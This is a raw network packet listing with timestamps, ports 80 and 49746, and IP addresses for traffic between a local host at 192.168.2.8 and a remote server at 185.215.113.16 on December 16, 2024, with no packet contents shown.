Dec 16, 2024 13:16:31.591397047 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.592251062 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.592384100 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.592405081 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.593219995 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.593276978 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.593286037 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.594088078 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.594235897 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.594371080 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.595184088 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.595321894 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.595355988 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.596272945 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.596282959 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.596400976 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.597138882 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.597244978 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.597302914 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.598067045 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.598212957 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.599205017 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.599214077 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.599280119 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.599972963 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.602092981 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.742043018 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.742060900 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.742213011 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.742280960 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.742372036 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.742372990 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.743163109 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.743340969 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.744175911 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.744385004 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.744415045 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.745270014 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.745280027 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.745471954 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.746069908 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.746344090 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.747106075 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.747319937 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.747344017 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.748007059 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.748065948 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.748079062 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.749008894 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.749058008 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.749087095 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.749932051 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.750036955 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.750076056 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.750900984 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.751019955 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.751070976 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.751951933 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.752027035 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.752125025 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.752830029 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.752974033 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.753070116 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.753772020 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.753914118 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.754038095 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.754847050 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.755003929 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.755661964 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.755784988 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.755810976 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.756875038 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.756886005 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.756934881 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.757709026 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.757803917 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.757827997 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.758225918 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.758604050 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.758775949 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.758881092 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.759690046 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.759902000 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.760613918 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.760668993 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.760677099 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.761768103 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.761779070 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.761818886 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.762576103 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.762646914 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.762862921 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.763408899 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.763667107 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.764503956 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.764514923 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.764714956 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.766206980 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.766408920 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.766419888 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.766473055 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.766499043 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.767285109 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.767329931 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.767429113 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.768537998 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.768548965 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.768639088 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.769273996 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.769588947 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.769720078 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.770184040 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.770344973 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.771241903 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.771253109 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.771294117 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.771311045 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.772124052 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.772325993 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.772394896 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.773211002 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.773224115 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.774066925 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.774074078 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.774162054 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.774255991 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.775062084 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.775134087 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.775207996 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.775990009 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.776139975 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.776211977 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.777086020 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.777096033 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.777189016 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.778073072 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.778084040 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.779234886 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.779246092 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.779331923 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.779947042 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.779999971 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.780010939 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.780812025 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.781023026 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.781203032 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.781771898 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.781924009 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.782074928 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.782777071 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.782845020 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.783001900 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.783859015 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.783869028 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.784014940 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.784666061 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.784799099 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.784892082 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.785629034 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.785748005 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.785835981 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.786714077 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.786724091 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.787595987 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.787688017 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.787712097 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.788592100 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.788654089 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.788666010 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.789680004 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.789901972 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.789932013 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.790179968 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.790612936 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.790769100 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.791511059 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.791567087 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.791579008 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.792347908 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.794234991 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.933914900 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.934019089 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.934041977 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.934108019 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.934402943 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.934482098 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.934525013 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.934525013 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.935375929 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.935487032 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.935543060 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.935745001 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.936314106 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.936372042 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.936408997 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.936485052 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.937287092 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.937382936 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.937401056 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.937442064 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.938241005 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.938363075 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.938419104 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.938512087 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.939198971 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.939279079 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.939311028 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.939389944 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.940161943 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.940217972 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.940257072 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.940361023 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.941167116 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.941246033 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.941412926 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.941579103 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.942107916 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.942195892 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.942208052 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.942265987 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.943053961 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.943162918 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.943197012 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.943233967 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.944039106 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.944124937 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.944142103 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.944247007 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.945003986 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.945111036 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.945162058 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.945162058 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.945985079 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.946113110 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.946147919 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.946244955 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.947082996 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.947151899 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.947168112 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.947202921 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.947997093 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.948038101 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.948062897 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.948101997 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.948882103 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.948940039 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.948972940 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.949045897 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.949827909 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.949902058 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.949919939 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.950005054 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.950790882 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.950905085 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.951081038 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.951081038 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.951755047 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.951827049 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.951870918 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.951963902 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.952722073 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.952785015 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.952817917 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.952904940 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.953733921 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.953826904 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.953840971 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.953881025 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.954796076 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.954920053 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.954937935 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.955056906 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.955745935 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.955811024 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.955827951 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.955845118 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.956599951 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.956698895 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.956713915 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.956868887 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.957573891 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.957637072 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.957834959 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.958009005 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.958606958 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.958643913 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.958733082 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.958785057 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.959475040 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.959526062 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.959569931 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.959614038 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.960464001 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.960531950 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.960592985 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.960670948 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.961436987 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.961474895 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.961560965 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.961656094 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.962426901 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.962498903 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.962518930 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.962553978 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.963370085 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.963413000 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.963582039 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.963629007 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.964322090 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.964394093 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.964463949 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.964574099 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.965287924 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.965395927 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.965424061 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.965472937 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.966276884 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.966370106 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.966376066 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.966464043 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.967196941 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.967248917 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.967308998 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.967350960 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.968167067 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.968240976 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.968297958 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.968374968 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.969130039 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.969242096 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.969331026 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.969413042 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.970251083 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.970371962 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.970403910 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.970504045 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.971120119 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.971193075 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.971204996 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.971239090 CET	49746	80	192.168.2.8	185.215.113.16
